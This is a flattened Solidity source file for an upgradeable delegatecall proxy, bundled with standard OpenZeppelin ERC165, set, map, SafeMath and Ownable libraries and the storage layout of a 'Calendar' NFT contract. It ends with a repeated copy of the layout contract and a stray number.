internal returns (bool found, bool error, bytes memory returnData){ require(delegateTo != address(0), "delegateTo must not be 0x00"); bool success; (success, returnData) = delegateTo.delegatecall(callData); if (success == true && keccak256(returnData) == keccak256(notFoundMark)) { //the delegate returns ```notFoundMark``` notFoundMark, which means invoke goes to wrong contract or function doesn't exist return (false, true, returnData); } else { return (true, !success, returnData); } } function sysPrintBytesToHex(bytes memory input) internal pure returns (string memory){ bytes memory ret = new bytes(input.length * 2); bytes memory alphabet = "0123456789abcdef"; for (uint256 i = 0; i < input.length; i++) { bytes32 t = bytes32(input[i]); bytes32 tt = t >> 31 * 8; uint256 b = uint256(tt); uint256 high = b / 0x10; uint256 low = b % 0x10; byte highAscii = alphabet[high]; byte lowAscii = alphabet[low]; ret[2 * i] = highAscii; ret[2 * i + 1] = lowAscii; } return string(ret); } function sysPrintAddressToHex(address input) internal pure returns (string memory){ return sysPrintBytesToHex( abi.encodePacked(input) ); } function sysPrintBytes4ToHex(bytes4 input) internal pure returns (string memory){ return sysPrintBytesToHex( abi.encodePacked(input) ); } function sysPrintUint256ToHex(uint256 input) internal pure returns (string memory){ return sysPrintBytesToHex( abi.encodePacked(input) ); } modifier onlyAdmin(){ require(msg.sender == sysGetAdmin(), "only admin"); _; } modifier outOfService(){ if (sysGetOutOfService() == uint256(1)) { if (sysGetRevertMessage() == 1) { revert(string(abi.encodePacked("Proxy is out-of-service right now"))); } else { revert(); } } _; } } /*function() payable external { bytes32 notFound = notFoundMark; assembly { let ptr := mload(0x40) mstore(ptr, notFound) return (ptr, 32) } }*/ /* bytes4 selector = msg.sig; uint256 size; uint256 ptr; bool result; //check if the shortcut hit address delegateTo = checkShortcut(selector); if (delegateTo != address(0x00)) { assembly{ ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) result := delegatecall(gas, delegateTo, ptr, calldatasize, 0, 0) size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 {revert(ptr, size)} default {return (ptr, size)} } } //no shortcut bytes32 notFound = notFoundMark; bool found = false; for (uint256 i = 0; i < delegates.length && !found; i ++) { delegateTo = delegates[i]; assembly{ result := delegatecall(gas, delegateTo, 0, 0, 0, 0) size := returndatasize returndatacopy(ptr, 0, size) mstore(0x40, add(ptr, size))//update free memory pointer found := 0x01 //assume we found the target function if and(and(eq(result, 0x01), eq(size, 0x20)), eq(mload(ptr), notFound)){ //match the "notFound" mark found := 0x00 } } if (found) { emit FunctionFound(delegateTo); //add to shortcut, take effect only when the delegatecall returns 1 (not 0-revert) shortcut[selector] = delegateTo; //return data assembly{ switch result case 0 {revert(ptr, size)} default {return (ptr, size)} } } } //comes here for not found emit FunctionNotFound(selector);*/ // File @openzeppelin/contracts/introspection/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File contracts/erc165/CERC165Interface.sol interface CERC165Interface is IERC165 { function supportsInterface(bytes4 interfaceId) override external view returns (bool); } // File contracts/erc165/CERC165Layout.sol contract CERC165Layout { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 internal constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) internal _supportedInterfaces; } // File contracts/erc165/CERC165LogicBase.sol contract CERC165LogicBase is CERC165Layout { /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File contracts/erc165/CERC165Storage.sol contract CERC165Storage is CERC165LogicBase { constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // File contracts/erc721/CERC721Layout.sol contract CERC721Layout is CERC165Layout { using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 internal constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping(address => EnumerableSet.UintSet) internal _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap internal _tokenOwners; // Mapping from token ID to approved address mapping(uint256 => address) internal _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) internal _operatorApprovals; // Token name string internal _name; // Token symbol string internal _symbol; // Optional mapping for token URIs mapping(uint256 => string) internal _tokenURIs; // Base URI string internal _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 internal constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 internal constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 internal constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; } // File contracts/context/ContextLogicBase.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextLogicBase { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/erc721/CERC721LogicBase.sol contract CERC721LogicBase is CERC165LogicBase, ContextLogicBase, CERC721Layout { /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } } // File contracts/erc721/CERC721Storage.sol contract CERC721Storage is CERC721LogicBase { constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } } // File contracts/ownable/OwnableLayout.sol abstract contract OwnableLayout { address internal _owner; mapping(address => bool) internal _associatedOperators; } // File contracts/ownable/OwnableStorage.sol contract OwnableStorage is OwnableLayout { constructor (address owner) internal { _owner = owner; } } // File contracts/ownable/OwnableLogicBase.sol contract OwnableLogicBase is OwnableLayout { //nothing to do here } // File @openzeppelin/contracts/math/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/nfts/CalendarType.sol library CalendarType { struct Pair { uint256 min; uint256 max; } } // File contracts/nfts/CalendarLayout.sol //keep the layout order contract CalendarLayout is CERC721Layout, OwnableLayout { using SafeMath for uint256; uint256 constant MILLION = 1000000; uint256 internal _startTime; address internal _dev; uint256 internal _taxPerMillion; uint256 internal _startPrice; uint256 internal _bidPricePerMillion; mapping(uint256 => uint256) internal _lastPrice; mapping(uint256 => uint256) internal _calendarSkin; mapping(uint256 => bytes) internal _calendarName; mapping(uint256 => bytes) internal _calendarBlog; } // File contracts/nfts/CalendarLogicBase.sol contract CalendarLogicBase is OwnableLogicBase, CERC721LogicBase, CalendarLayout { } // File contracts/nfts/CalendarStorage.sol //don't change the layouts. notice that layout is behind storage contract CalendarStorage is Proxy, OwnableStorage, CERC165Storage, CERC721Storage, CalendarLogicBase { constructor ( string memory name_, string memory symbol_, string memory baseURI_, uint256 startTime_, uint256 startPrice_, uint256 bidPricePerMillion_, uint256 taxPerMillion_, address dev_ ) public Proxy(msg.sender) OwnableStorage(msg.sender) CERC165Storage() CERC721Storage(name_, symbol_) { sysSetTransparent(0); _setBaseURI(baseURI_); _startTime = startTime_; _startPrice = startPrice_; _bidPricePerMillion = bidPricePerMillion_; _taxPerMillion = taxPerMillion_; require(dev_ != address(0), "dev should not be 0"); _dev = dev_; } }
keep the layout order
contract CalendarLayout is CERC721Layout, OwnableLayout { using SafeMath for uint256; uint256 constant MILLION = 1000000; uint256 internal _startTime; address internal _dev; uint256 internal _taxPerMillion; uint256 internal _startPrice; uint256 internal _bidPricePerMillion; mapping(uint256 => uint256) internal _lastPrice; mapping(uint256 => uint256) internal _calendarSkin; mapping(uint256 => bytes) internal _calendarName; mapping(uint256 => bytes) internal _calendarBlog; }
14,428,802
